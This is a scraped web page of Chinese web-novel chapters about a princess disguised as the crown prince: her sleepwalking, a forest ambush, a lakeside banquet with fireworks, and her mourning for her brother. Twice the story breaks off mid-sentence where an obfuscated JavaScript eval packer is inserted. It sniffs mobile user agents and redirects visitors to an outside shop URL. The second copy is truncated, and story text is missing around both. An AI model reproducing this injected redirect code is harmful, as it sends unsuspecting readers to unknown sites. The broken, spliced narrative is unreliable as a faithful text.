裴承接过太子抛来的小飞,“就是刚刚所说那般,殿下自己走过来,非要睡臣的床上。” “不可能!” “殿下都不记得了?”裴承道:“我曾经听说过有的人晚上入睡后会做一些奇怪的事,行走举止与常人无异,但事后自己一点也不记得了,殿下可是这样的情况?” 李相筠仔仔细细回忆了一下,她从前没有这样的毛病,若是有的话,她的秘密早就人尽皆知。 可是人总不会无缘无故多出一个怪癖吧? 李相筠把怀疑的目光投到裴承身上。 裴承却道:“殿下既不愿意说,臣不问就是。” 李相筠只好寒声道:“管好你的小老鼠,再让孤看见它在外面乱比划……” 裴承低头看着小飞。 小飞埋头:“吱。” 第二天晚上,到了新驿站。 李相筠特意把裴承的屋安排远远的,又把自己的房门拴好,做好万全准备方躺下入睡。 人总不会在短短时间里倒霉两次吧? 夜深人静,万物俱籁。 熟悉的脚步声到了门口,裴承缓缓睁开眼。 翌日。 “哐哐!” 门扇先被敲得震天,又转为节奏快的小声捣鼓。 裴承打开门,晨辉从身后的窗纸映在他身周,他让开身,道:“门没拴。” 李相筠把小飞往他胸口上一按,朝屋里大步进去,恶狠狠道:“你怎么不栓门!” 裴承把小飞托到肩上,“没有什么非要拴的理由,臣以为殿下不会接二连三地犯病。” “所以你就不叫醒孤,任由孤穿过四个房间,睡到你的床上?”李相筠转过身,她压低了声音,以免让旁边屋子的陆展听到动静。 这件事她不想弄得人尽皆知。 “臣也很好奇,殿下为什么非要睡臣的床?”裴承问。 李相筠哽住了。 她怎么知道! “出去。” 裴承依言走出门,回过身又问:“殿下是不是压力太大了?” 李相筠用紧闭的门扇回应他。 壶里还有昨夜剩下来的凉水,李相筠倒进盆里,把脸埋了进去。 / “太子遇到最险的事?说起来太子险些被内宦溺死。” “为什么要溺死他?” “我也是听老师说的。太子小时候,卫婕妤刚去世,身边的婢女为了照顾殿下,一直受那些内宦磋磨,裴少保许是不知道,那些阉人虽没了根,但是下作的手段更多!” 高勇踢开脚边的石子,“殿下对内宦恨之入骨,所以你看殿下身边都没有内宦跟着伺候。” “殿下是皇子,内宦怎么敢动手?” “还不是因为卫家的事,殿下本来就不受待见,而且殿下还杀了吕石,宫里的宦官自成一家,他们把汪中尉认成干爹,下面的儿孙自然都是兄弟,他们要为兄弟报仇。” 高勇小声:“要不是怀贤太子救了殿下,殿下早就没命了。” 裴承垂眸凝视着脚边一片枯黄的落叶,“怀贤太子救了很多人,唯独没有救下自己。” 高勇怀念道:“怀贤太子是个很好的人,我也受过他的照顾。” 片刻后,裴承问:“那太子是不是怕水?” 这两天的驿站前面都有一片池塘,在女郎们下去看水鸟的时,太子坐在车上无动于衷,连帘子都没有掀开。 “太子?他不怕啊。”高勇走了两步,“唔,可能起初是怕的,后来殿下硬是在池子里扑腾了三个月,学会凫水后应该就不怕了。” 裴承把目光偏到对面,太子正领着邓谦走过,他眼尾浸软了红,鬓角的发丝润成了墨,既艳丽又冷傲。 对自己狠的人,对别人会更狠。 / 第三日,金宝嚷着要见识附近央城的烟火会,鼓动两位娘子改道去热闹一下。 公事的压力不在他身上,当然以好玩为重。 关娘子常年待在长安,不曾到处游玩,被金宝绘声绘色地描述勾起兴趣,关侍郎犹豫了阵,还是应允下来。 不过是一个晚上的时间,明日多赶些路,耽搁不了多少时间。 为了尽快抵达央城,他们还特意找了条捷径,只需要穿过一片小树林。 可还没行多久,车速慢下来,最后还停了。 李相筠撩起帘子,“怎么了?” 前面金宝和高勇已经下了车,正在与几个陌生人讲话。 陆展驱马过来解释:“是一行路人,也要往央城去,欲搭个便车。” 李相筠想也不想答:“让他们走。” 金宝正提着袍子过来,闻言就急道:“七郎,我觉得没什么不好的,路上多个朋友,日后遇到什么事……” “与其指望有什么事别人能帮上忙,还不如自己多加小心。”李相筠最听不得“朋友”二字。 怀贤太子出事后,就没见到几个“朋友”站出来,他们或为家族选择明哲保身,或迫于高层的压力不敢置喙。 一个选择的背后会有许许多多的理由,但是这些理由成为他们舍弃皇兄的原因,她就不能原谅。 所以她想明白了,依靠别人良心的回报是最不可靠的事情。 她宁可自己变强,强到有足够的能力和话语权,不再陷入三年前被动无措的局面。 但金宝觉得李相筠未免太不近人情,嘀咕道:“我们马车有空的,多搭几个人也费不了多少草料。” 再说,大头都是他出的。 “你想施好心,可以,我们在这里分道扬镳。”李相筠毫不留情。 金宝面色一改,声音就软了下来,“别啊,七郎这么绝情做什么。” 高勇惯会看眼色,见太子那副样子只能劝金宝说:“七郎说的也对,多一事不如少一事,你要是心里过意不去,给他们一点钱,让他们到前面租辆车不就行了。” 连高勇都不站他这边,金宝只好作罢。 “太子总是这般强硬,不好说话,连举手之劳都不愿意,难怪就没有几个朋友……” “你小声点,要是殿下听见了,肯定把你扔路上,他那脾气我最是知道的。” “他那是讨厌你。” “哎,我也知道,但是职责所在啊。”高勇又翻开本子,开始写太子逸文。 金宝吃惊道:“你连这都记?太子能不讨厌你吗?” 高勇道:“你要知道,于大事上很多君王都会表现出得体的那一面,可私底下是忠是奸全靠这些记载啊。” 车队重新启程。 黑黢黢的林子夹在道路两边,碎石路上坑坑洼洼,还有枯枝、树干挡道,马车走起来不太容易,马匹也小心翼翼。 关侍郎让人着手清路,让马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068552|145793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车可以正常通行。 “这是近路吗?怎么感觉速度更慢了?”金宝喋喋抱怨。 其他人虽没有跟着抱怨,但是心底也有了各种想法。 邓谦靠近马车,捧着路面清理出的树干,禀道:“殿下,属下觉得不对劲。” 李相筠拿过来,检查了一下,就道:“是刀口,人为的。” 邓谦点了下头。 陆展驱马前来,警惕道:“殿下,恐怕前面会有埋伏,要退吗?” “不能退,退的话正中对方下怀。”李相筠放下手炉,取下自己的鞭子,“叫关侍郎、裴少保过来……” 咻咻—— 尖锐的破空声惊动了众人。 “来不及了。”李相筠一掀车帘,站出去,命令道:“不许减速,各自找遮蔽物,全力往前冲!” 邓谦道:“郎君,快回马车。” 李相筠却道:“牵马来!” 若是普通山贼,执金卫和裴家侍卫足以应付,可倘若是有人设陷阱专门针对她或者是队伍中的其他人? 在不知道对方人数的情况下停下迎敌,只会让他们陷入两边包剿的被动局面。 李相筠骑上马往前跑,邓谦只好点了几名执金卫好手紧跟在他身后。 赵郡王世子虽然是个文弱郎君长相,但遇到这样的事还是挺身而出,拿出剑护在女郎们的马车旁。 金宝与高勇两个一个比一个胆小,也都头一次遇见这样惊险的事,抱在一起鬼哭狼嚎,被经过的太子呵了句“闭嘴”才掐住嗓子,消了音。 一轮箭雨过后,黑衣蒙面人从两侧策马冲出,李相筠长鞭一扫,两个最前面的黑衣人就中了鞭,惨叫一声,跌下马去。 “好吓人的声音。”金宝哆哆嗦嗦躲在车帘后面,真心实意感动道:“原来平日殿下对我还是好的。” 至少他想揍他的时候,从来都是动用尊贵的龙爪,而不是用这能刮掉人皮的鞭子。 高勇也哆哆嗦嗦,“殿下、殿下这个鞭子名叫破竹鞭,内有玄机,只要使用得当,别说人皮,骨头都能给你抽断!” 金宝继续感动:“殿下真好。” 金家侍卫战斗力远不如执金卫与裴家侍卫,他们在长安还没遇过这么凶神恶煞的对手,被打得落花流水,不多会,中间马车的车顶都给黑衣人用铁爪钩掀掉了。 金宝头顶都亮了,大叫:“啊!我的寸金木镶宝石满天星车厢顶!” 高勇用力按下他抬起来的头,“别叫别叫,万一人家劫财的,你小命还能保?” 但不管金宝叫不叫,黑衣人捏软柿子也捏定了,以他们这马车为攻破口,加大攻击力度,迅速将车队分成两截。 金宝脸色惨白,痛哭流涕,“早知道就不出来蹚浑水了,在西市被打几顿也好过丢命啊!” 一记长鞭横扫过来,“不听话的下场见识到了?日后找死也要找个舒服的法子。” 是李相筠掉转马头过来救他们。 “七郎!” 不管现在李相筠说再难听的话,金宝都如聆仙乐,他两眼泪汪汪,仰慕地瞅着太子。 “七郎真乃我们的救星啊!” 车夫已经躺在血泊里,马车也坏了,金宝和高勇在执金卫的掩护下慌慌张张从马车爬下来,往前面完好的马车逃命去。 李相筠环顾一圈,前方裴家的侍卫在保护关娘子与郡主的马车,飞星半蹲在马车顶上,手里的暗器能叫四丈开外的黑衣人退避三舍,不敢冒进。 关侍郎带着人护在薛县令的马车的周围,她是此行的关键,也不容任何闪失。 “殿下,他们人数越来越多了,马车走不动,我们被困住。”邓谦的刀尖朝下,淌着蛛丝般鲜血,他道:“执金卫可以带殿下突围。” 意思就是抛下其他人,他们快马杀出去,还有条生路。 李相筠思索了片刻,“走!” 执金卫从西侧杀出一条血路,李相筠在中间回过头,看见那些黑衣人也注意到了她们这一支的突围。 与料想的无差,他们追了过来。 目标果然是她—— 李相筠抿唇压眉,眸光冷冽,随执金卫冲出包围。 陆展见状,想也没想跟了上去。 “家主!”飞星站在高处,一眼能看全战局的变化。 裴承勒住马缰,循声望去。 太子骑在乌骓马上,好像一朵轻盈的云,就这样领着执金卫浩浩荡荡远去。 还以为太子至少会朝他下达命令,护他周全,可没想到他戒备如此之深,宁可单打独斗,也不信他们会襄助,仿佛早已经习惯了靠自己。 裴承微微一笑。 他还真有愧于“太子少保”这个衔职。 马蹄踏地,轰雷震天。 “主子,前面又有人来了!” 李相筠握紧长鞭,“杀出去!” 迎面来的一伙人也蒙着面,不过他们的衣着打扮与后面的黑衣人不同,手臂上还箍着一条两指宽的绿带。 他们的刀没有拔出来,只从中间让开了道。 这不是进攻的姿态。 “主子?”邓谦握住刀,不知对方是敌是友。 李相筠道:“冲过去。” 对方没有动刀的意思,执金卫也只挟着刀锋,夹紧马腹往前跑。 快马通过不过的几个瞬息的功夫。 一道专注的目光引起李相筠的注意,她扭回头盯住里面骑在枣红马上、胡子拉杂的一中年男子。 剑眉深目,皮肤黝黑。 从未见过的陌生人。 但他却深深望着自己,好像在看许久不见的故人。 咔咔咔——弩弓上膛,弩箭如急雨往他们身后的追兵射去。 在执金卫全部通过后,胡子男才拔出刀,率人堵住路,与黑衣追兵兵刃相接。 李相筠带着执金卫一口气冲出十里路,已经到了路口的尽端,追兵没有追上来。 陆展赶到李相筠身边,一同站在一处丘地。 “殿下,那伙人是什么人?为什么要护着我们?” 李相筠摇摇头,她并不知情。 不过总有一种被人摆布了一道的讨厌感觉。 “追兵没有来追我们,但后面的车队还被他们挡住,不知道何时能汇合。” “裴少保还在。”陆展道。 “是啊,他还在。”李相筠微眯了眼。 刚刚裴家侍卫的反击并不明显,裴承也并不显慌张。 看来,引出来的居然是盘踞在身边的一条大毒蛇。 33.错误 “家主,那人是条硬骨头,还没给他用药就自己服毒自尽了,只在他身上找到了这些。”飞星把搜刮到的东西一股脑捧到裴承面前。 裴承在里面翻看。 一捆没有标识的三棱箭簇、一把短刀、一块火石、一瓶伤药……还有一条绿色臂箍带。 飞星见裴承格外注意这个臂箍带就解释道:“我看他们的人都在手臂上绑着这个,还以为是什么重要的东西,上面也没有绣半个字。” 这些人都是有备而来,没有带任何会指明身份的东西。 飞星苦恼地挠了挠头。 还是没能拆穿他们的真面目! 裴承捏着那臂箍带,“不,他们会来,已经说明一切。” 哪怕知道是个陷阱,哪怕嘴里藏着毒药,也要来救。 如此忠心耿耿,怎能说毫无关系? / 一个时辰后,队伍才重新汇合,赶在城门关闭前抵达央城。 一行人低调出行,并没惊动当地官府,关侍郎找到邸店安顿好随行的人马,又请医士为伤员治伤,最后带着人到城中粮草铺补充物资,桩桩件件都亲力亲为,耐心细致。 金宝劫后余生,顿悟人死钱还在是最大的惨案。于是大手一挥就做了散财童子,包下央城最好的酒楼宴请他们。 “七郎今日能够顺利脱险,真是万幸。”裴承坐在李相筠的左手侧,又问:“后来的那伙人,七郎认识?” 李相筠拿起酒杯,冲他一摇头,“不知道是何方好汉路见不平,我倒是想认识,执玉见着,可有问一问对方名讳?” 金宝耳朵尖,一拍桌子,道:“那些蒙面的好汉来得突然,撤得也快,都还没来得及问姓名,我本来还打算答谢他们一番呢!” 坏的那一波他骂奸贼,和坏的打起来的自然被他称为好汉。 陆展在另一边问:“裴少保见多识广,就没有发现点蛛丝马迹么?” “没有,中郎将可有什么高见?” “今日事发时,裴少保不慌不忙,胸有成竹,还当是早有预料。” 裴承从容不迫道:“有执金卫和中郎将在,殿下自然安全无虞。” 双方都在踢皮球,不轻易亮出底牌。 金宝坐在对面,终于察觉气氛古怪,眼睛正滴溜溜转,忽然旁边一只手重重拍在他肩膀上,险些没让他痛出声来。 “好兄弟,今日良辰吉时,最是适合缔结盟约,不如你我就此拜把子做兄弟吧,不求同日生,但求同日死。” 高勇本来不喝酒的,但今日过得实在惊险,急需酒来安魂,三杯下去,他已飘忽。 金宝顿时乐了,从肩头拎起他的手,说:“你一个当官的和为商拜把子,也不怕被御史弹劾死。” 高勇大手在空中一挥,杯子里没饮尽的酒就跟下雨一样撒了下来,豪爽道:“今朝有酒今朝醉,明日愁来明日愁!”① 关侍郎刚要坐下来,差点被高勇的杯子打着脸,赵郡王世子及时抓住高勇的手,并扶正他的酒杯,把他送回位置坐好。 关侍郎客气道:“多谢世子。” 关娘子与郡主携手上来,两人刚刚重新梳洗过,让诸位郎君眼前一亮。 关娘子换上暮山紫窄袖衫,下边着胭脂裙,头梳成垂髻,簪折枝宝石花,郡主身上是石绿半袖齐襦裙,手里挽琥珀色绣花披帛,头上两对竹叶蜻蜓逸趣横生。 “殿下在看什么?”裴承忽然在旁边问,“这般神往。” 李相筠眸子转到眼角,乜了眼他,“看两位娘子穿得好看。” 裴承忽而笑道:“殿下不会也在东宫里还藏着脂粉钗环、罗裙披帛吧?” 据闻长安有些郎君像是被上天搭错了筋,虽为男儿身却有女儿心,私底下还会偷偷穿襦裙描眉画唇。 裴承这一言只是故意揶揄太子,但没想到李相筠瞳孔竟徒然一缩。 那边关娘子抬平手臂,大方给金宝等人看,笑道:“确实和长安的款式不一样,是兄长与李世子特意买来的。” 郡主对李柏寒腼腆道:“多谢兄长。” 李柏寒望了她一眼,温声道:“应该的。” 关侍郎走过来,帮关娘子把几根没有梳拢的发丝别到了耳后,“我还买了几支钗子,交给你的婢女收着了,回去记得看看喜不喜欢。” 关娘子笑着点头。 裴承收回的视线。 太子已低下了脑袋,酒杯在几根纤细修.长的指间轮流转了几转,就轻轻搁在桌上。 “欸?七郎不喝了吗?”金宝见李相筠往外走,问。 “出去醒醒酒。”太子没回头。 “可也没喝几杯啊。”金宝拿起酒壶摇了摇,又放在一边,继续去找高勇玩去了。 裴承喝完自己杯里的酒,余光还瞥着太子放下的酒杯。 关娘子坐下来道:“刚上来时,听掌柜的说,旁边就是最佳赏烟火的地方,不少客人都选择幕天席地,边饮酒边等着烟火。” 金宝最喜欢玩乐,扯起高勇道:“那还等什么,我们也到外面去喝酒去吧!” 高勇这会醒酒汤起效了,望着关侍郎那边,犹豫道:“还喝啊,已经喝的够多了,明天还要赶路,耽搁了行程就不好了?我们可是有公务在身的啊……” 酒楼旁边空旷的湖面水波粼粼,从上流放下的花灯打着转从眼前经过,与天上的繁星一同热闹地闪烁。 不少客人三五成群都在湖边摆了席,喝酒打叶子牌,天南地北地聊。 虽然远离长安,但是长安的事却一清二楚,酒后都拿来当了谈资。 一位郎君脚踩酒坛上,手里端着一盏酒,眉飞色舞地讲:“古有二桃杀三士,今有一箭削藩权,你们听没听过长安那场马球赛?” 有人说听过,有人说没有。 郎君一口饮完酒,把酒盏往地上一摔,显然是一副已经喝高的模样,大声道:“不知道吧?那是高招啊!让人明知是苦肉计却不得不受着,想那齐郡王世子当初是何等趾高气扬的人啊,我们在长安时,他哪回不是鼻孔朝天,说我们是乡下来的,只配到田里啃泥巴,这次他犯下这弥天大祸,可不给他老子爹一脚踢出长安,他高门贵女的未婚妻马上就退婚另嫁他人!他自个只能到穷乡僻壤去啃泥巴了吧?!哈哈哈哈——” “可我听说齐郡是富饶之地,这世子到了郡王府一日也没有消停,在招兵买马,扩充郡王府的侍卫,还不知道想做什么……” 李相筠端着酒盏,笑吟吟望向李柏寒。 赵郡王那一次也栽了大跟头,可是打落牙齿和血吞,把一个忍字决从上到下发扬光大,这么久了连声响都没有。 李柏寒避开太子的视线,忍不住想到那一日太子来探病,坐在他床边说的那一句,“你借孤的台子唱戏,可也没有问过主人的意思,好在孤大度,我们各取所得,便可相安无事。” 那桩事,太子究竟知道多少? 李柏寒握紧酒盏。 眼前忽然两道身影跌跌撞撞经过,直往湖边去。 一人面朝湖面高举起酒壶,豪气万千地吼道:“喝!——人生得意须尽欢!”② 另一个身材圆滚的人在后面死死拽住他,“哎哟,前面是湖,尽什么欢啊!那是乐极尽悲!” 李柏寒趁机转头道:“高敢之这酒量一喝就醉,偏还能醉得这么有文采,阿芸,看来待会还要给他准备醒酒汤了。” 李竹芸捧起旁边的罐子,微笑道:“早就备好啦。” 李柏寒多看了她几眼,不禁说了句:“你好像心情很好?一直笑着……” 李竹芸摩挲了下陶罐,又低下头,“因为大家都很好,兄长也很好,这里远比在长安自在……” 李柏寒听懂她的言外之意,正要开口,李竹芸一触碰到他关心的视线就像受惊的兔子一下放下陶罐,蹿了起来,“我、我想起关娘子找我……” 关娘子刚去喝过药,在关侍郎的陪同下回到金宝新摆的露天宴席上。 金宝一边招呼人,一边气喘吁吁拽着弄湿一只鞋的高勇回来,连声让人给旁边这位醉鬼满上一杯醒酒汤。 “得了,你还是别喝了,我还没见过发酒疯的要去湖底找龙王爷的。” 众人皆笑。 李相筠从外边回来,神情自若地拿起酒杯润嗓,完了,就托着腮哄骗高勇。 “高敢之,把你那册子借我看看。” 高勇乖乖捧着醒酒汤喝了几口,放下碗把脑袋摇成拨浪鼓,“不成,我在里面写了好多殿下不好的东西,你看了肯定要告状的!” 李相筠皮笑肉不笑道:“你偷偷给我看,我肯定不告状。” 高勇用四根手指撑开眼皮,伸长脖子努力朝李相筠看了看,迷糊道:“我见阁下和殿下有七分相似,该不会是殿下假扮的吧?” 关娘子笑着给李相筠倒酒,“七郎不要趁人之危啊,我们可都瞧着呢。” 李相筠笑了笑,“不过逗他玩玩,他就算拿出来给我看,我也看不懂他的鬼画符。” 高勇撑着脑袋有问有答:“那肯定是不能让人看懂!……啊为什么桌子在转,我是不是坐在船上了!” 金宝没眼看,连忙又给他端了碗醒酒汤。 高勇推辞:“喝不下。” 金宝骗他,“这是龙王赐水,不喝下不了船。” 高勇端起来就喝。 李相筠看戏,笑得没心没肺,什么事也没有。 旁边的裴承忍不住也扯了扯唇角,他还真是多管闲事了。 太子这样的人,有什么事可伤心的。 过了半个时辰,高勇总算酒醒了,这时候一桌上能喝酒的人都喝得七七八八,正嗑着瓜子闲聊,边等着烟火大会开始。 高勇支起脑袋,环顾四周一圈,看见关侍郎旁边坐着关娘子,关娘子旁边是郡主,而郡主的手边是李世子,这两对兄妹齐齐整整就在眼前,他忽然道了句:“关侍郎和关娘子长得不像,郡主倒是和李世子有四五分相似,这天底下兄妹有的像,有的一点也不像,真奇怪啊。” 金宝坐在高勇旁边,也左右打量了几个来回,“确实啊,不过我和我弟也生得不像,我呢,长得像我娘……干嘛都这样瞧我,我娘可是个大美人,我不过是吃得胖了些,你们仔细看我这眼睛鼻子,不是都长得好好的吗?若是生在一张漂亮的脸蛋上,那保准是个美人!至于我弟嘛,长得像他娘,鼻子眼睛一样严肃,就没有我招人喜欢……所以关侍郎和关娘子也是各自像自己娘吧?” 关娘子看了眼旁边不发一言的兄长,微笑回道:“金衙内这会可猜错了,我与兄长是同父同母的兄妹。” 飞星插话:“我知道,那肯定是一个像阿耶,一个像阿娘,我与弟弟就是如此!” 关侍郎唇角动了动,像是笑了下。 李相筠也托着腮,百无聊赖地将他们兄妹的脸认真对比了下。 她虽然和皇兄不是同母的兄妹,但是还是有相似的地方,但关家兄妹,鼻子眼睛眉毛嘴巴,还真瞧不出共同处。 李柏寒也望了去,关娘子对他露出一笑。 关侍郎先看着旁边妹妹的笑,才把戒备的目光瞥向李世子。 “诸位一个劲盯着我们兄妹看,还指望能看出朵花来不成?”关侍郎抬手作揖,对左右摆出个求饶的姿态,“某长得不尽人意,实承受不住诸位的关注。” “都怪我,胡言乱语了句!”高勇一拍脑袋,忽然拿出本子,站起来道:“今日我们死里逃生,就是过命的交情,我可以特别为大家记录,百年之后,同在青史留名,岂不是妙事!” 金宝眨巴了几下眼睛,“啊,什么人都能上青史的吗?” 高勇咳了一下,压低声音,“当然不是上正史了,那只有王侯将相才能荣登的,逸文野史还是可以的。” 见无人搭理,高勇连忙用胳膊肘捅旁边的金宝。 “你先!” 金宝别别扭扭:“我哪能啊……” “反正说说也不吃亏,万一日后实现了呢?” 金宝想想也是这个理,揉了揉肚子站起来,两眼冒光,开始编:“我要像外祖一样……不,我要超越外祖,成为天下首富,赚多多的钱,每天什么烦心事都不用做,直管吃喝玩乐,快乐似神仙!” “你这个是愿望吧。”高勇嫌弃地不知道如何落笔,“还是好逸恶劳的那种……” “谁不想过太平的好日子,难道我要去受苦遭难吗?哪个蠢的会选后一种路啊?”金宝催促,“就按这个写!” 高勇写:金宝,天下首富,一生安逸快活,无苦无难。 关侍郎道:“治好妹妹的病,一起好好过完这一生。” “你这也是愿望啊。”高勇挠头,“我这成了愿望簿?” 金宝继续催:“你别管,写就是。” 高勇没法,只好落笔。 关娘子道:“游遍山河,无拘无束。” 李竹芸道:“钻研医术,悬壶济世。” 两女郎对视一笑。 李伯寒倒没有当着关侍郎的面说些不应当的话,只是正经道:“不坠先祖威名,永续家族繁荣。” 作为皇室宗亲,李伯寒这番话让高勇肃然起敬。 金宝看高勇认真记下,不由关心道:“那你自己呢?” “我?我自然是接师父的班,成为一名恪尽职守的史官!将来后人评说时,来一句刚正不阿、铁面无私就可。” “可是后人读前史,谁管编写的是谁啊?你又不是太史官司马迁。”金宝心直口快。 高勇握着笔杆子,丧气道:“也是。” 轮到陆展了,他先是喝完两杯酒,两颊都飞上了酒色,才开口道:“我……愿与一心人,结伴永不弃。” 这么多人里,还是头一个敢说和情.爱有关的,偏还是从陆展这个往日都一本正经的郎君口里说出来的,马上引来金宝飞星等人的起哄。 太子好奇问:“昭云,你喜欢谁啊?我怎么不知道?” 陆展没应声,只又喝了杯酒,那绯红的酒色已经延到耳后。 裴承眉间微动,把目光移到李相筠的脸上。 小太子一脸坦荡,浑然不晓事。 他有几分同情陆展,又有几分说不清道不明的沉闷压在心头。 几人轮完,高勇已经破罐子破摔了,管他们说什么鬼话,都意思不差地写下,记完后就提笔看着剩下的裴少保和太子。 两人的目光隔空撞了一下,又飞快分开,随后不约而同吐出四个字。 “如愿以偿。” “得偿所愿。” 高勇眼珠左一下,右一下,露出一个颇为费解的表情,“啊?” 他们这四个字连愿望都算不上,这要他记什么? 李相筠轻笑了下,“做个以恶制恶的恶人。” 裴承从容不迫道:“那臣就做个铲恶锄奸的人。” 高勇默默了一阵,才道:“这能记吗?” 一国储君说自己要当恶人…… “你不是都记下了吗?” 金宝揭他老底,高勇默默盯了他一眼,金宝嘿嘿两声,尴尬地转过话题: “女子也可以写上去吗?” 高勇道:“野史没有那么多讲究,而且还有《列女传》专门记录各朝各代女子实录。” 郡主听见后,问:“为何女子就不能在正史立传?” 高勇挠了挠头,“也是有的吧,历代君王的后妃皆在传记当中。” 李竹芸不再问了。 那与她所想的不一样。 李相筠喝完酒,道:“古时不存不代表今朝也无,郡主说不定还有机会。” 而她这个惊世骇俗的女太子更注定会在青史上留下一笔,哪怕是臭名千古。 届时能看见父亲,看见那些古板的御史大夫如何震惊异常、痛心疾首,或许是她死前最大的一件快事。 “世子这样瞪我干什么?” 李相筠心里乐了一阵,抬眼就对上李柏寒的臭脸,她目光一瞟旁边的郡主,顿悟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我看殿下是恼了。” / 执金卫把树下周围的草刨了个干净,邓谦搬来了个铜盆坐在中间的秃地上,里面已经点着了草杆,冒着微弱的黑烟,旁边放着两捆黄纸钱。 李相筠不知道皇兄真正的祭日也不知道祭地,沈承铭不是最后陪在皇兄身边的人。但离着西南越近,或许离皇兄出事的地点就越近。 选在这个时候祭奠没有别的理由,她就是突然很想皇兄。 假如皇兄还在,自己又是什么样子的。 会是个无忧无虑的女郎吗? 她虽然自幼就扮成郎君,可因为一直都知道真相,太害怕被拆穿假皇子的身份,所以很难把自己真的当作男子。 十五岁之前,她日思夜想的是有一天可以光明正大地走到人前。 她也可以穿漂亮的裙子,戴精致的发钗,只做个简简单单的小女郎。 有皇兄的庇护,她可以做任何想做的事情。 没有想到。 时至今日,她居然还会生出这样奢望。 要是皇兄在就好…… 要是皇兄在…… 要是皇兄…… 一个个念头源源不断冒出来,她为什么就不能有皇兄在身边,为什么不能? 黄纸钱在盆里逐渐被火苗吞噬,李相筠拢着大氅,坐在席垫之上。 她仰颈猛喝起口酒,来不及咽下的酒液溢出唇,沿着下巴滑进颈口,冰得她打了个哆嗦岔了气,一阵咳嗽后,把自己抱得更紧了。 天空忽然一声尖啸,一束光冲上夜空,直到一个顶点,忽然往四周炸开,无数的绚烂光点如骤雨落下,天地都被这点微光照亮。 李相筠抬首仰望。 六岁那年,她与皇兄在长安也曾看过一场烟火,她们站在大明宫的高台之上,看夜空被烟火瞬息点亮,美妙绝伦。 皇兄问她,烟火如何? 她想了想答:“萤火之光岂能和皓月争辉。”③ 彼时她刚犯了大错,有意讨好皇兄,便低头道:“皇兄就像是天上的皓月,阿筠就是这微弱的萤火。” 皇兄摇了摇头,他仰起头,“我才是这烟火,阿筠是辽阔的天空,我只能试着点亮一瞬息,却不能让它整个明亮。” 后来,她虽能领会到皇兄的深意却无法做到,让自己的世界重新敞亮。 皇兄是那一瞬寂灭的烟火,已经从她漆黑一片的世界彻底消失。 她是如此恨,如此怨。 纵使杀光她认为有罪之人,她依然没有寻到一个真相。 可她做的对吗?皇兄在天上看见会释怀么? 她不会如他所愿成为一个胸怀敞亮的女郎。 相反她睚眦必报,心狠手辣,她做了很多恶事,她死后肯定无法去到皇兄身边。 可她还是好想皇兄。 想念是最廉价也是最珍贵的东西,只有这一样,没有人可以夺走。 一阵风拂来。 铜盆里的火星子爆起,天空的火雨坠落。 远远望去,仿佛能够触碰到一起。 裴承沿着河走了许久,才看见一棵大树下,小太子拥着狐裘抱膝而坐,他的下巴压在毛领之上,呆呆望向天空,只有半张脸被摇曳的火照亮,映着脸颊上浅浅一道水光,忽明忽暗。 风尽情摇动着所能吹拂到的一切。 是头顶的树叶,是脚边的花草,是脸庞的发丝,是胸腔的那颗心。 裴承不禁抬脚,但忽然发现另一个方向,陆展已经大步走了过去,他闪身到一棵树后,背靠在树干上,手缓缓压在心脏上。 / 烟火结束后,众人回客栈休息。 裴承躺在床上,盯着头顶的承尘帐子。 四周寂静,已过子时,今夜太子还会过来吗? 他翻了一个身。 还是会去找陆展? 也罢,他不来还好,不然睡得好好的还会担心半途被人袭击。 裴承慢慢闭上眼睛,可没多久他还是睁开坐起身。 这间客栈比较独特,有内外两条廊,门外的是外廊连着上下楼梯,门内的是一条出挑的平台,可以从房间出来,欣赏外面的河景。 裴承选内廊的原因是,太子门外有执金卫轮番看守,他只想去看一眼,并不想惊动了人。 小飞从漏窗雕花处钻了进去,灵活地拨开了门闩,放裴承进来。 太子人还在屋中。 只是并不在床上,他上半身趴伏在床上,下边却坐在床踏板上。 这个睡姿太奇怪,裴承忍不住多打量了几眼,才发现太子的左手被绑在床柱上,瞧着像半夜想下床但是因为被捆住的原因,没能成功走开,所以只能半趴在这儿将就睡了。 这可能是太子想出的应对之法,虽然粗.暴但是管用。 太子的脸侧靠在手臂上,露出半张冻得发白的脸,眼圈还有些红肿,鼻尖也微微泛红,但呼吸是均匀而绵长,睡得正沉。 裴承没喝多少酒,不过太子晚上倒是喝了不少。 看了眼床上揉成一团的被子,裴承的脚欲抬又止。 太子冷不冷和他有什么关系,说到底,他来长安接近小太子不过是为了调查怀贤太子的死。 他实不该冒出多余的心思。 李相宇说人有情绪就容易犯错。 此话一点也不假,裴承意识到自己已经开始犯错了。 能够意识到就应该制止一错再错。 裴承转身往外走了几步,又蹙眉折回到床边。 太子把自己的手塞到被子下,身子却蜷缩在床边上,小小一团。 他看了眼那被子,转念一想,还是挪脚把门边翘首架上的狐皮大氅取来,轻轻盖在太子身上。 34.日月 翌日。 李相筠腰酸背痛醒来,手上的束带还连在床柱上。 昨夜果然她又想“外出”,幸亏有先见之明,提前做好准备。 李相筠不想被更多的人知道自己忽然有这个夜游的毛病,尤其不愿意面对裴承那副饶有趣味的注视,好像她日思夜想是他,梦里都想着找他一般! 她的确想他,只不过在想怎么捏死他这只乱跳的蚂蚱! 李相筠掀开身上的大氅,忽然手停在半途。 不对,这件大氅怎么出现在她身上的? 她明明记得,昨夜进屋时,她顺手就挂在门口的架子上…… 所以,有人进过她的屋! 李相筠再次检查自己身上,出门在外她尤其留心,哪怕睡觉的时候都不会掉以轻心,不但穿好裹胸还选了厚实的单衣,因此那两晚,裴承都没有瞧出蹊跷来。 难道是陆展? 